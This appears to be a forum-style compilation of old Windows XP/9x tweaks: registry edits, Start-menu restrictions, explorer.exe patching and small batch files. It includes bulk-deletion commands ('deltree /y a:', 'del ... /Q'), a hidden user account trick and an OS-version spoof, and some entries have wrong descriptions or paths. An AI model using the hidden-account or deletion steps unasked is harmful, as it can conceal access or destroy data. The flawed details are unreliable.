In the Welcome to the Desktop Cleanup Wizard dialog box, click Next. In the Shortcuts dialog box, a list of shortcuts are displayed in the Shortcut to Clean Up list. The shortcuts that you click are removed from the desktop and placed in the Unused Desktop Shortcuts folder on the Windows desktop.

If you do not want a shortcut to be removed from the desktop, click to clear the check box for that shortcut, and then click Next when you are finished.In the Completing the Desktop Cleanup Wizard dialog box, view the items in the Shortcuts box to confirm that you want them removed from the desktop, and then click Finish. The Desktop Cleanup Wizard moves the selected shortcuts to the Unused Desktop Shortcuts folder and then quits.

21) How to Pause or Resume Downloading (BUILT IN DAP)
After the download process has started, you can pause or resume downloading at any time. If you close your Internet connection or restart your computer after pausing a download process, Windows automatically resumes the download process the next time you are connected to the Internet. During the download process, click the icon that is displayed in the notification area, and then click Pause.

When you are ready for Windows to start downloading again, click the Automatic updating icon, and then click Resume. Restore an Update that You Previously Declined. If you decide not to download a specific update, you can prompt Windows Update to offer that update again.

Click Start , click Control Panel, and then double-click System.
Click the Automatic Updates tab, and then click Restore Declined Updates. {EXTRACTS BY mr.xp}

22) Editing explorer in windows xp
Editing explore in windows xp is very easy with available tools its not as difficult like old dos based tedious method here u need just one tool called RESOURCE HACKER.

It is a resource viewer it will show u Resources in any 32bit Windows 95/98/ME/NT/2000 executable files (including exe’s, dll’s, ocx’s and cpl’s) . ok go in to ur windows directory and find explorer.exe and make its two copies name them As explorer_1 and explorer_2 .exe respectively and keep them in windows folder only. We will edit explorer_1 and will keep explorer_2 as backup copy if anything goes wrong.

Open explorer_1.exe in resource hacker and go to String table and edit whatever u want to even u can change start button by ur name or anything else. After editing even a single word do not forget to click the COMPILE button.

Change icon or u can change animated message such as when u install a new programs so when u go to all programs a animated message comes “New Program Installed” u can change it by ur sentence etc. now we have edited the explore_1 now go To File menu in Resource hacker and save it as explorer_1.exe it will ask u that explorer_1.exe is already present do u want to replace it, click YES.

Now we have our edited explorer. Now restart ur computer in safe mode with command prompt by pressing F8 during booting process . Now we will copy explorer_1.exe on explorer.exe by typing command Copy C:windowsexplorer_1.exe C:windowsexplorer.exe.

Now restart ur computer and what u will seeing that u r working with ur edited explorer. If anything goes wrong than just copy explorer_2.exe on explorer.exe by same process. {EXTRACTS BY MR.XP}

23) Customize Windows Media Player Title Bar
Change the title bar to read Windows Media Player provided by , so if I had entered text ‘Abhishek Bhuyan’ , it would read: Windows Media Player provided by Abhishek Bhuyan
[Start] [Run] [Regedit]

Go to HKEY_CURRENT_USER | Software | Policies | M*cro$oft

Create the Key [WindowsMediaPlayer]
Create String value named [TitleBar]
Data Type: REG_SZ // Value Name: TitleBar
Double click TitleBar and Enter the text to be displayed in the title bar.
Exit Registry / Reboot.

24) Increase Menu Display Speed
When you click on the Start Menu there is some delay to display the contents , just for no reason.

Effects are pretty though. The default speed can be adjusted with a quick registry entry.
The default value is 400. Set it to 0 and the delay is gone. If you are not able to adjust pick a number that suits your style and make the change.
[Start] [Run] [Regedit]

Go to HKEY_CURRENT_USER | Control Panel | Desktop

Modify/Create String value of Data type REG_SZ Named [MenuShowDelay]
Value Data: [Default = 400 / Adjust to Preference]
Exit Registry / Reboot

25) Increase Internet Download Connections
Increase Simultaneous Internet Download Connections. Increases the number of allowed simultaneous connections to ten (10).
[Start] [Run] [Regedit]

Go to: HKEY_CURRENT_USER | Software | M*cro$oft | Windows | CurrentVersion | Internet | Settings

Modify/Create DWORD Value of Data type REG_DWORD Named [MaxConnectionsPer1_0Server]
Setting for Value Data: [0000000a]

Modify/Create DWORD Value of Data type REG_DWORD Named [MaxConnectionsPerServer]
Setting for Value Data: [0000000a]
Exit Registry / Reboot

26) Create Legal Notice Logon Dialog Box
In situations where you need users to read a legal notice before logging on, this tweak will create the caption for the notice.
Start] [Run] [Regedit]

Go to: HKEY_LOCAL_MACHINE | SOFTWARE | M*cro$oft | Windows NT | CurrentVersion | Winlogon

Modify/Create String Value of Data type REG_SZ Named [LegalNoticeCaption]
Value Data for LegalNoticeCaption: [Type the Caption for the Dialog Box]

Modify/Create String Value of Data type REG_SZ Named [LegalNoticeText]
Value Data for LegalNoticeText: [Type the Data for the Legal Notice]
Exit Registry / Reboot

27) Disable Error reporting in XP
Sometimes errors, make us very annoyed in XP so its better to disable them. Just Right click the my computer icon, click properties, go to [advance] and then [error reporting] @ the bottom, click disable error reporting, and check the check box below it.

28) Rename multiple files.
A new, small, neat feature for Windows XP deals with renaming files. I personally have always wanted the OS to include a way to do a mass file renaming on a bunch of files. You can now rename multiple files at once .Its really simple:

Select several files in Explorer, press F2 and rename one of those files to something else. All the selected files get renamed to the new file name (plus a number added to the end).

29) Disable Baloon tips.
To disable Ballon tips in Windows XP do this registry tweak

Go to : HKEY_CURRENT_USER | Software | M*cro$oft | Windows | CurrentVersion | Explorer | Advanced

Create a new DWORD value, name it EnableBalloonTips, and set it equal to 0. If EnableBalloonTips is already there and equal to 1, set it equal to 0. Quit the registry editor, log off, and log back on. Voila! Your computer will stop talking down to you.

30) Sort menus alphabetically
When you install a new program for a user, it doesn’t find its place in the alphabetical Start menu hierarchy right away; it hangs out at the bottom for a little while. If your users employ the Classic Start menu, they can re-alphabetize it manually by right-clicking the taskbar and choosing Properties, clicking the Customize button next to the Classic Start Menu, and clicking the Sort button.

With the Windows XP style of Start menu, however, you don’t have an equivalent button. To make Windows always alphabetize the list, remove the permissions from the Registry key that controls the sort order for the Start menu.

To do so, go to: HKEY_CURRENT_USER | Software | M*cro$oft | Windows | CurrentVersion | Explorer | MenuOrder

Choose Edit | Permissions and click the Advanced button. Deselect the Inherit From Parent The Permission Entries That Apply To Child Objects check box and then click Copy when the Security dialog box pops up. Click OK and clear the Full Control entry for your account and all security groups you are a member of. Leave only Read permission.

31)Hiding Find menu on Start Menu
If you enable these setting, then Find menu located on Start Menu will gone.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoFind
Data Type: DWORD
Value Data: (0 = show, 1 = hide)

32)Hiding Document menu on Start Menu
These setting will hide folder or Document menu located on Start Menu.

Key : HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name : NoRecentDocsMenu
Data Type : DWORD Value
Data: (0 = show, 1 = hide)

33)Hiding Run menu on Start Menu
These setting will hide Document folder located on Start Menu.

Key : HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name : NoRun
Data Type : DWORD Value
Data: (0 = show, 1 = hide)

34)Hide Help menu on Start Menu [Win 2000]
These setting will hide Document folder located on Start Menu.

Key : HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name : NoSMHelp
Data Type : DWORD Value
Data: (0 = show, 1 = hide)

35)Hiding Start Menu > Settings > Taskbar menu
If you enable these setting then Taskbar menu located on Setting at Start Menu will gone.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoSetTaskbar
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

36)Hiding Start Menu > Settings > Folder Options menu
If you enable these setting then Folder Options menu located on Start Menu - Setting will gone.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer
Value Name: NoFolderOptions
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

37)Hiding Start Menu > Settings > Control Panel menu
If you enable these setting then Taskbar menu located on Setting at Start Menu will gone.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoControlPanel
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

38)Disable right click on Dekstop & Windows Explorer
If you enable these setting below then no one else can do right click on Desktop & Windows Explorer.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoViewContextMenu
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

To see the difference you need to reboot/restart.

39)Disable right click on Taskbar
If you enable these setting below then the menu will no longer exist when doing right clickon Start Menu, control tab, and Clock.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoTrayContextMenu
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

To see the difference you need to reboot/restart.

40)Preventing any changes of Printer setting on Control Panel
If you worried someone might change your printer setting, You need to enable these setting

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoPrinters
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

41)Vanishing Start Banner on taskbar
If you enable these setting then the arrow and Click here to start word will gone (the word emerge when you entry windows).

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoStartBanner
Data Type: BINARY Value
Data: (00 00 00 00 = disabled, 01 00 00 00 = enabled)

42)Adding "Explore From Here" menu on folder
After you replace with the value below then, when you right clicking on folder there'll be Explore From Here menu to emerge.

HKEY_CLASSES_ROOT\*\shell\rootexplore (You have to make it if those key are not exist yet)
Then edit "(Default)" value with "E&xplore From Here". On rootexplore make some new key and gives the name with command. Edit "(Default)" and gives value/name "explorer.exe /e,/root,/idlist,%i".

43)Replacing Add/Remove Programs list
When you installing program then a program (usually) will adding for uninstall (on Add/Remove Programs). But if you had uninstalled those program and still an entry exist on Add/Remove Programs, you can removing manually.

key : HKEY_LOCAL_MACHINE\SOFTWARE\M*cro$oft\Windows\CurrentVersion\Uninstall
After that, you can removing remain entry.

44)Prevent any Network setting changes
If you enable this setting, then other people cannot change the original setting on Control Panel - Network.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Network

Value Name: NoNetSetup
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

45)Prevent any Printer setting changes
If you enable this setting, then other people cannot changei the original setting on Control Panel - Printer.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoPrinters
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

46)Prevent any Password setting changes
If you enable this setting, then other people cannot change the original setting on Control Panel - Password. In other word, other people cannot change the password (if your computer using Windows password).

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\System

Value Name: NoSecCPL
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

47)Prevent Shut Down order
The next setting will prevent someone to turn off your computer. These way is much useful if you for example leaving your computer for a while and you worried if someone might shut down it.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoClose
Data Type : DWORD Value
Data: (0 = shutdown enabled, 1 = shutdown disabled)

48)Hiding all item on desktop
The next Setting will hide all item located on your desktop.
Key : HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name : NoDesktop
Data Type : DWORD Value
Data : (0 = disabled, 1 = enabled)

49)Hiding Network Neighborhood icon
Network Neigborhood Icon will emerge on desktop if you installed Windows Networking. If you don like it, You can hide those icon.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer

Value Name: NoNetHood
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

50)Disabling MS-DOS Command Prompt
The next Setting will prevent from "utilizing" MS-DOS command prompt on Windows.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\WinOldApp

Value Name: Disabled
Data Type: DWORD Value
Data: (0 = disable, 1 = enable/prevent MS-Dos command prompt)

51)Prevent any Display Properties setting changes
You can do Display Setting from Control Panel - Display or by right click on desktop, then choose Properties.

With these setting below, other people cannot change the setting on those Display.

Key: HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\System

Value Name: NoDispCPL
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled/prevent any changes)
(Make System key : On left side panel, choose Policies, Right click, New - Key. Gives name : System. Then choose System, right click, New - DWORD Value. Gives name NoDispCPL. Double click on NoDispCPL, change 0 to 1 to prevent any Display Properties setting changes.

52)Vanishing arrow on shortcut
If we making any shortcut from some application, we surely will see an small arrow under icon. From appearance angle, the arrow that covered half of those icon will going so annoying. Especially if we wants to show the entire of those icon. Therefore, there is a way to removing these arrow. How? open registry editor, remove string value "IsShortcut" on subkey "lnkfile" and "piffile" on key "HKEY_CLASSES_ROOT" from your windows registry.

Install font with more faster than usual
To installing font, normally we must follow long procedure : Start > Settings > Control Panel > Font. From there, you must click File > Install New Fonts. That way surely a pissed. Actually there is an easy way :

Method 1 :
1. Open registry editor.
2. Move to key "HKEY_CLASSES_ROOT\TTFFILE\SHELL".
3. Choose "Edit > New > Key" command and gives "Install Fonts" name on new key that you just placed.
4. Double click on the right side windows on "(Default)" entry.
5. Give the "Value" : "Install Font" and confirm this changes by clicking "OK".
6. Marked once again subkey "Install Font" and Make a new subkey ("Edit > New > Key"), named as "command".
7. Double click at "(Default)", give him "Value" : "c:\windows\command\xcopy32.exe %1 c:\windows\fonts" command.

Now, everytime you right clicking on *.ttf file there'll be Install Fonts menu. If you choose this menu, then those font file will copied straight to your Windows folder.

Method 2 :
1. Make a shortcut that browse to font at your Windows (C:\Windows\Fonts).
2. Place those shortcut on Send To directory.
Now to install font, right click on *.ttf file, choose Send To > Fonts.

53)Changing RegisteredOwner and Organization
When you right clicking on My Computer you will see Registered to .... sentence. If you wrong inserting the owner name & the organization, You still can change it, by going to :

key : HKEY_LOCAL_MACHINE\SOFTWARE\M*cro$oft\Windows\CurrentVersion

then change RegisteredOwner name, RegisteredOrganization which is located on right side panel. How to change it is by right clicking at those Value Name.

54)Showing log on message
If your computer is one of the public computer, which means a commonly used computer by many people, You can adding log on message. So every computer user will see those content of message (could be a warning or something else)

Its' pretty easy, first go to registry editor then find the following key :
HKEY_LOCAL_MACHINE\Software\M*cro$oft\Windows\CurrentVersion\Winlogon

Value Name :

- LegalNoticeCaption (for the caps)
- LegalNoticeText (for the content) Data TypeString ValueData - fill with text you wanted

55)Speed up defrag access and scandisk
To keep maintain Windows processing, we surely need to take a good care. One way you can do is defragment and scandisk.
The following steps will adding context menu to drive. So when you open windows explorer and right clicking on drive, there'll be "Defrag this drive" and "Scandisk this drive" menu.

To do so, Find key HKEY_CLASSES_ROOT\Drive\Shell.
Make a new key, give Defrag name.

On the right side panel, at (default) section fill with "&Defragment This Drive" (type without quotes).
Make a new subkey "under" Defrag, and gives name with Command.
On the right side panel, at (default) section fill with "defrag.exe "%1" /noprompt" (type without quotes).
How to making Scandisk context menu is on above, You just only need to change 3 word with blue colored above with Scandisk, &Scandisk This Drive, and scandskw.exe /n.

56)Changing tips info on desktop icon
Tips info is a word that emerge when pointer mouse placed above icon, The function is to gives additional information. You can change tips info at My Documents, Recycle Bin, and My Computer icon located on desktop as your wish.
To replace it, find tips info word that is on right side panel based on these key :

QUOTE

My Computer
HKey_Classes_Root\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
My Documents
HKey_Classes_Root\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}
Recycle Bin
HKey_Classes_Root\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}

REGISTRY FOR INTERNET EXPLORER!!!!!!
Adding background image on IE toolbar

1. Open registry editor.

2. Find key HKEY_CURRENT_USER\Software\M*cro$oft\Internet Explorer\Toolbar .

3. Make a new String Value with BackBitmap name. How? right click on right side panel, choose New - String value.

4. Double click at BackBitmap, fill with path describing image file location that will be using as backgorund. Example C:\My Documents\image\picture.bmp.

As additional point, the file you wanted to use is a file with *.bmp extension.

57)Message in beginning of startup
Adding these word on autoexec.bat file :

QUOTE

Echo off

Cls

Echo This computer is Rossi Owned

Echo.

Echo So don try to screwed up...

Echo.

For %%C in(A B C D E F G H I J K L) do Dir C:\Windows >Null

Echo.

Echo If you dare, BEWARE..!!!

Then everytime your computer re-boot/booting, those message will emerge.

You can change the word beginning with Echo with your own message.

58)Shortcut and folder without name
Do you want a folder or shortcut at Windows 95/98/NT/2000/NE, but you don wanted your name visible? How to make it is right click then Rename at folder or shortcut you want to change the name. Then write down [Alt] + [0160] (This is invicible character space). When writing 0160, You must using the number on numeric keypad (Right side of your keyboard).

59)Writing name on Taskbar
Do you want your name written on Windows Taskbar? You can do it !
First, click Start/Settings/Control Panel menu. In Control Panel, double click Regional Settings icon.

Move to Time tab. At AM and PM symbol column, write down your name, maximal 8 character only (including space)

60)Making icon from .bmp
If you tired with the icon you owned, You can try another icon that is from .bmp file.
How? change those .bmp file into .ico (example picture.bmp into picture.ico. )

Other way : If you want to change the icon from some shortcut.
First right click at shortcut and choose Properties. Move to Shortcut tab and choose Change Icon. After that browse to folder that keeps your .bmp file.

61)Erasing diskette with fast
To erasing fast all file on your diskette, use the following steps :

- Right click on desktop, choose New Shortcut

- Type deltree /y a: on Command Line, click next, give name (example) Erase A:. Don forget to choose the icon. Lat, click Finish.

- Right click those shortcut, choose Properties. Move to Programs tab and marked to Close on exit.

To erasing file on drive A just click the icon.

62)Fast way removing recent document
To avoid other people find out what kind of file you just opened, the only way is by removing recent document. Follow the following steps :

1. Open Notepad.

2. Write down : echo y| del C:\windows\recent\*.*

3. Save that file in random folder, give name (example) erase.bat. Remember, the extension bat is a must.

4. Make shortcut to that file in dekstop.

5. Right click those shortcut, choose Properties.

6. Move to Program tab.

7. At Run section, choose Minimized.

8. Give check mark at Close on Exit.

9. Click OK.

From now on, you can removing recent document with fast by clicking the shortcut you just made on desktop.

63)Passing serial number in MS Office 2000
Everytime you installing MS Office 2000, you'll have to fill the serial number consisted of dozens of characters. Instead of being occupied, why dont make it automatically?

Open file setup.ini with Notepad, find at [Options] section and remove # sign at USERNAME. [Options] ; If a value is present, the [Options] section gives the values of properties to apply to ; this installation. Specify them in the format: ; PropName=PropValue ; Remember to uncomment both the section name and the value names. ; USERNAME=Your_Name PIDKEY=ABCDEFGHIJKLMNOPQRSTUVWXY Write down your name at USERNAME section and serial number at PIDKEY section. Save that file. From now on, you don have to filling serial number again when you installing MS Office 2000

64)Disabling registry editor
Have you ever thinking to disable regedit ? These way is much comes in handy since it's prevent other person to change your registry setting !!! To do so, you can change registry setting like was included to the label below.

(RUN, type : regedit)
Key : HKEY_CURRENT_USER\SOFTWARE\M*cro$oft\Windows\CurrentVersion\Policies\
Data Type : REG_DWORD (DWORD Value)
Name that DWORD as : DisableRegistryTools
Data : (0 = enable regedit, 1 = disable regedit)

If you change this setting properly then when regedit program executed, there will be an ERROR Message to occur. You must be wondering, how to make it back to normal ? It's easy, Just follow the following steps :

By using Notepad, make another new file. Type like this:

REGEDIT4

[HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\System] "DisableRegistryTools"=dword:00000000

Save with random filename, but with reg extension, example enable_regedit.reg. After that, double click at those file to enabling registry editor.

65)How to automatically closing program
What are you gonna do when your running application having problem (not responding) ? You surely will gonna press Ctrl + Alt + Del button & continue with End Task processing to close unresponding program.

Actually, if you wanna a bit "busy" You can arrange closing automatically when there's unresponding program. Therefore, You can open your registry (RUN, type : regedit) then adding this key below:

Key HKEY_USERS\Default\ControlPanel\Desktop

Value Name : AutoEndtasks Data
Value Data : 1

66)How To Delete Your Prefetch

0pen Run Type Prefetch ( Enter )

Now u will see lots of junks just delete them all

or

Here's an another way to delete your prefetch -- Automatically!!

1. Go into My Computer and go into your hard drive.

2. Right-click anywhere that a file is not and select the 'New' submenu and click 'Text Document'

3. Name it "deleteprefetch"

4. Double-click on the text file you just created.

5. Type "del C:\Windows\Prefetch\*.* /Q" (without the quotes).

6. Go to File > Save As... and choose "All Files" from the "Save as Type" box and save it as "deleteprefetch.bat"

7. You just created a batch file that will automatically delete all the files in your Prefetch folder.

67)Force XP to Unload DLLs
[HKEY_LOCAL_MACHINE \ SOFTWARE \ M*cro$oft \ Windows \ CurrentVersion \ Explorer]
"AlwaysUnloadDLL"=dword:00000001

XP has a bad habit of keeping dynamic link libraries that are no longer in use resident in memory. Not only do the DLLs use up precious memory space, but they also tend to cause stability problems in some systems. To force XP to unload any DLLs in memory when the application that called them is no longer in memory, browse to HKEY_LOCAL_MACHINE \ SOFTWARE \ M*cro$oft \ Windows \ CurrentVersion \ Explorer and find the DWORD "AlwaysUnloadDLL". You may need to create this key. Set the value to 1 to force the operating system to unload DLLs.

68)Reboot whitout rebooting

Have you ever been using your computer and your system sudddenly stops responding in ways like it if you try to open something it just hangs? One time I tried deleting a folder and it said it was in use, but it really wasn't. If this ever happens to you, you can follow these simple steps to 'reboot' your computer without 'rebooting' it.

Press CRTL + ALT + DEL

Goto the 'processes' tab and click explorer.exe once and then click 'end process'.

Now, click File > New Task and type explorer.exe

Everything should be fine now! If the problem is major, I would recomend actually shutting down then starting up again.

69)Kill Chrashed Apps Quicker
HKEY_CURRENT_USER\Control Panel\Desktop
Add or Edit Sring = HungAppTimeout, Value = 1000-5000
Cuts time for Windows to recongize a crashed application and allow you to kill it; default is 5000(for 5 seconds)

70)Remove Compression Option In Disk Cleanup
HKEY_LOCAL_MACHINE\SOFTWARE\M*cro$oft\Windows\CurrentVersion\Explorer\VolumeCaches\Compress old files
Delete the Default Value Key and the next time you start Disk Cleanup, it will skip the compression analyisis

71)Create a Shortcut to Lock Your Computer
Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screensaver.

To create a shortcut on your desktop to lock your computer:

Right-click the desktop.
Point to New, and then click Shortcut.

The Create Shortcut Wizard opens. In the text box, type the following:
rundll32.exe user32.dll,LockWorkStation

Click Next.

Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like.

Click Finish.

You can also change the shortcut's icon

You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

72)Instantly Activate a Screensaver
Turn on a screensaver without having to wait by adding a shortcut to your desktop:

Click the Start button, and then click Search.
In the Search Companion window, click All file types.

In the file name box, type *.scr

In the Look in box, choose Local Hard Drives (C or the drive where you have system files stored on your computer.

Click Search.

You will see a list of screensavers in the results. Pick a screensaver you want. You can preview it by double-clicking it.

Right click on the file, choose Send To, and then click Desktop (create shortcut).

To activate the screensaver, double-click the icon on your desktop

73)Software not installing?
If you have a piece of software that refuses to install because it says that you are not running Windows 2000 (such as the Win2K drivers for a Mustek scanner!!) you can simply edit HKEY_LOCAL_MACHINE/SOFTWARE/M*cro$oft/Windows NT/CurrentVersion/ProductName to say M*cro$oft Windows 2000 instead of XP and it will install. You may also have to edit the version number or build number, depending on how hard the program tries to verify that you are installing on the correct OS. I had to do this for my Mustek 600 CP scanner (compatibility mode didn''t help!!!) and it worked great, so I now have my scanner working with XP (and a tech at Mustek can now eat his words).

BTW, don''t forget to restore any changes you make after you get your software installed. You do this at your own risk.

74)Stop Windows Messenger from Auto-Starting
If you're not a big fan of Windows Messenger simply delete the following Registry Key:

HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Run\MSMSGS

75)Add/Remove optional features of Windows XP
To dramatically expand the list of applications you can remove from Windows XP after installation, navigate to C:\WINDOWS\inf (substituting the correct drive letter for your version of Windows) and open the sysoc.inf file. Under Windows XP Professional Edition RC1, this file will resemble the following by default:

[Version] Signature = "$Windows NT$"
DriverVer=06/26/2001,5.1.2505.0

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
msnexplr=ocmsn.dll,OcEntry,msnmsn.inf,,7
smarttgs=ocgen.dll,OcEntry,msnsl.inf,,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
Games=ocgen.dll,OcEntry,games.inf,,7
AccessUtil=ocgen.dll,OcEntry,accessor.inf,,7
CommApps=ocgen.dll,OcEntry,communic.inf,HIDE,7
MultiM=ocgen.dll,OcEntry,multimed.inf,HIDE,7
AccessOpt=ocgen.dll,OcEntry,optional.inf,HIDE,7
Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7
MSWordPad=ocgen.dll,OcEntry,wordpad.inf,HIDE,7
ZoneGames=zoneoc.dll,ZoneSetupProc,igames.inf,,7

[Global]
WindowTitle=%WindowTitle%
WindowTitle.StandAlone="*"

The entries that include the text hide or HIDE will not show up in Add/Remove Windows Components by default. To fix this, do a global search and replace for ,hide and change each instance of this to , (a comma). Then, save the file, relaunch Add/Remove Windows Components, and tweak the installed applications to your heart's content.

Cool, eh? There are even more new options now under "Accessories and Utilities" too.

76)Create a Hidden User Account
This tweak allows an account that is normally displayed on the Welcome screen to be hidden from view. To log on using the account it's necessary to use the Log On To Windows dialog box similar to the one in Windows 2000 i.e. press CTRL+ALT+DEL twice.

[Start] [Run] [Regedit]

Go to: HKEY_LOCAL_MACHINE\SOFTWARE\M*cro$oft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Modify/Create DWORD Value of Data type REG_DWORD Named [Type Name of Account to be Hidden]
Setting for Value Data: [0 = Account is Hidden / 1 = Enabled]

Exit Registry / Reboot

While the account is hidden on the Welcome screen, note that the account profile will be visible in C:\Documents and Settings or wherever user profiles are stored as well as in Local Users and Groups.

77)QoS (Quality Of Service) Bandwidth Reserve Setting
By default, Windows XP reserves 20% of the connection bandwidth for QoS traffic. This tweak allows the setting to be altered to a different percentage of connection bandwidth. If the system uses more than a single adapter for network connections, each adapter may be set individually by navigating to:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Psched\Parameters\Adapters\{Adpater-ID} rather than HKEY_LOCAL_MACHINE\SOFTWARE\Policies\M*cro$oft\Windows\Psched

[Start] [Run] [Regedit]

Go to: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\M*cro$oft\Windows\Psched

Modify/Create DWORD Value of Data type REG_DWORD Named [NonBestEffortLimit]
Setting for Value Data: [Enter as a Percentage / Default Value = 20]

Exit Registry / Reboot

78)Remove Links Folder in Favorites
The Links folder is part of Favorites whether it's being accessed through Internet Explorer or the Favorites menu in the Start Menu. This tweak will remove it from those locations.

[Start] [Run] [Regedit]

Go to: HKEY_CURRENT_USER\Software\M*cro$oft\Internet Explorer\Toolbar

Modify/Create String Value of Data type REG_SZ Named [LinksFolderName]
Value Data: [Set the String Value to a blank string]

Open Internet Explorer and manually delete the Links folder from Favorites Menu.
The Links folder will not be recreated.

Exit Registry / Reboot

79)Enable/Disable Active Window Tracking to Mouse Movements
When the mouse is moved over an open window it automatically sets the focus to that particular window. It does not bring the window to the foreground of the open windows.

[Start] [Run] [Regedit]

Go to: HKEY_CURRENT_USER\Control Panel\Mouse

Modify/Create DWORD Value of Data type REG_DWORD Named [ActiveWindowTracking]
Setting for Value Data: [0 = ActiveWindowTracking Disabled / 1 = ActiveWindowTracking Enabled]

Exit Registry / Reboot

80)Auto Reboot on System Crash
By default, when the Windows XP operating system crashes an automatic reboot of the system occurs. While this behavior can be convenient, the downside is the error message accompanying the crash is not visible. Often times this information can be a great help in troubleshooting the source of the crash. This behavior can be modified in two ways; via the registry or using the System Properties property sheet.

[Start] [Run] [Regedit]

Registry Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl

Modify/Create DWORD Value of Data type REG_DWORD Named [AutoReboot]
Setting for Value Data: [0 = AutoReboot Disabled / 1 = AutoReboot Enabled]

Exit Registry / Reboot

Open System Properties via Start > Control Panel > Performance and Maintenance > System

[System Properties may also be opened using the WinKey+Pause key combination]

Select the Advanced tab and then click Settings in the Startup and Recovery section

In System Failure section, clear the checkbox next to Automatically Restart

Click OK and OK to exit

81)Uninstall Programs Manually
Just because Windows XP has the Add/Remove Programs feature it doesn't mean your application will appear in the list. Furthermore, even if it does appear, it's no guarantee that the uninstall feature will work. When you run across one of these situations the items listed below will help in getting rid of the application. Be aware that these steps may not remove everything associated with the application and can impact other applications on the computer. Have a backup or restore point and use caution.

Find the directory for the application and delete all the files in the directory. Delete the directory.

Open regedit and navigate to HKEY_LOCAL_MACHINE\SOFTWARE and find the folder for the application. Delete the folder.

Open regedit and navigate to HKEY_CURRENT_USER\SOFTWARE and find the folder for the application. Delete the folder.

To remove the application entry from Add/Remove Programs (if present) open regedit and navigate to HKEY_LOCAL_MACHINE\SOFTWARE\M*cro$oft\Windows\CurrentVersion\Uninstall and find the folder for the application. Delete the folder.

Some applications have Services attached to them. If this is the case, navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services, locate and delete the service.

In Windows Explorer, navigate to the individual user settings and delete program references. Common places to check would be:

C:\Documents and Settings\All Users\Start Menu\Programs and delete relevant entries.

C:\Documents and Settings\All Users\Start Menu\Programs\Startup and delete relevant entries.

C:\Documents and Settings\%YourUserID%\Start Menu\Programs and delete relevant entries.

[Do this for each User ID listed]

C:\Documents and Settings\%YourUserID%\Start Menu\Programs\Startup and delete relevant entries.

[Do this for each User ID listed]

